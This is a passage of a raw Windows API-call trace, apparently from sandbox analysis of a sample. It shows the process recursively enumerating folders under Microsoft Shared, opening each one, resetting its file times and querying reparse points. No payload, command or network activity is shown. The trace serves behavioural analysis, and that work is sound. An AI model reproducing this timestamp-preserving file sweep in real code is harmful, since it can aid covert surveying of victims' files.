ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATER.INF", cAlternateFileName="")) returned 0 [0055.358] GetLastError () returned 0x12 [0055.358] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0055.358] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0055.358] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef4c58) returned 1 [0055.358] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.358] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR", cAlternateFileName="")) returned 1 [0055.358] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef4c58 [0055.358] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.358] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0055.358] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0055.358] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xf04b28 [0055.359] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf04b28, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xf04b28, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0055.359] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf04b28) returned 1 [0055.359] NtClose (Handle=0x170) returned 0x0 [0055.359] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef4c58) returned 1 [0055.359] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.359] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0055.359] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef4c58 [0055.359] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.359] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf03068 [0055.359] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0055.359] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.359] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x623, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0055.359] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.359] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.359] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.359] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.359] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.359] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf03170 [0055.359] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0055.359] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf00b00 [0055.359] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf03278 [0055.360] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.360] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x75da, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0055.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.360] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.360] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf04b40 [0055.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf03380 [0055.360] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.360] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37d2a200, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x37d2a200, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xbfc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR.ELM", cAlternateFileName="")) returned 1 [0055.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.360] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.360] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf04b60 [0055.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf03488 [0055.360] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.360] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR.INF", cAlternateFileName="")) returned 1 [0055.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.361] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.361] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.361] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.361] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.361] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf04b80 [0055.361] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf03590 [0055.361] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.361] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR.INF", cAlternateFileName="")) returned 0 [0055.361] GetLastError () returned 0x12 [0055.361] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cf8 [0055.361] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0055.361] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.361] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x623, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0055.361] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x75da, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0055.361] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37d2a200, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x37d2a200, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xbfc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR.ELM", cAlternateFileName="")) returned 1 [0055.361] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR.INF", cAlternateFileName="")) returned 1 [0055.361] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR.INF", cAlternateFileName="")) returned 0 [0055.361] GetLastError () returned 0x12 [0055.362] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf03068) returned 1 [0055.362] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0055.362] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf03170) returned 1 [0055.362] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef4c58) returned 1 [0055.362] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR", cAlternateFileName="")) returned 0 [0055.362] GetLastError () returned 0x12 [0055.362] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0055.362] FindClose (in: hFindFile=0x459cb8 | out: hFindFile=0x459cb8) returned 1 [0055.362] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeef160) returned 1 [0055.362] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0055.362] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TRANSLAT", cAlternateFileName="")) returned 1 [0055.362] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0055.362] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT" (normalized: "c:\\program files\\common files\\microsoft shared\\translat"), fInfoLevelId=0x0, lpFileInformation=0x17aee3c | out: lpFileInformation=0x17aee3c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.363] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT" (normalized: "c:\\program files\\common files\\microsoft shared\\translat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0055.363] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x17aee80, lpLastWriteTime=0x17aee80) returned 0 [0055.363] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xf05328 [0055.363] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf05328, nOutBufferSize=0x4000, lpBytesReturned=0x17aeed8, lpOverlapped=0x0 | out: lpOutBuffer=0xf05328, lpBytesReturned=0x17aeed8, lpOverlapped=0x0) returned 0 [0055.363] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf05328) returned 1 [0055.363] NtClose (Handle=0x178) returned 0x0 [0055.363] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0055.363] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0055.363] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0055.363] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.363] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459cb8 [0055.365] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.365] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARFR", cAlternateFileName="")) returned 1 [0055.365] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENES", cAlternateFileName="")) returned 1 [0055.365] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENFR", cAlternateFileName="")) returned 1 [0055.365] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ESEN", cAlternateFileName="")) returned 1 [0055.365] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRAR", cAlternateFileName="")) returned 1 [0055.365] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FREN", cAlternateFileName="")) returned 1 [0055.365] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd541900, ftCreationTime.dwHighDateTime=0x1c911ec, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd541900, ftLastWriteTime.dwHighDateTime=0x1c911ec, nFileSizeHigh=0x0, nFileSizeLow=0x205b0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1AR.LEX", cAlternateFileName="")) returned 1 [0055.365] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0055.365] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0055.365] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0055.365] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0055.365] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0055.366] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeef160 [0055.366] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0055.366] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf04ba0 [0055.366] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf03170 [0055.366] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0055.366] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7780a100, ftCreationTime.dwHighDateTime=0x1c4d75f, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7780a100, ftLastWriteTime.dwHighDateTime=0x1c4d75f, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1CACH.LEX", cAlternateFileName="")) returned 1 [0055.366] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0055.366] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0055.366] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0055.366] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0055.366] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0055.366] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf04bc0 [0055.366] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf03068 [0055.366] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0055.366] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5c6bc00, ftCreationTime.dwHighDateTime=0x1ca9121, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd5c6bc00, ftLastWriteTime.dwHighDateTime=0x1ca9121, nFileSizeHigh=0x0, nFileSizeLow=0x2b990, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1CORE.DLL", cAlternateFileName="")) returned 1 [0055.366] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0055.366] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0055.366] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0055.366] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0055.366] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0055.366] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0055.366] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, 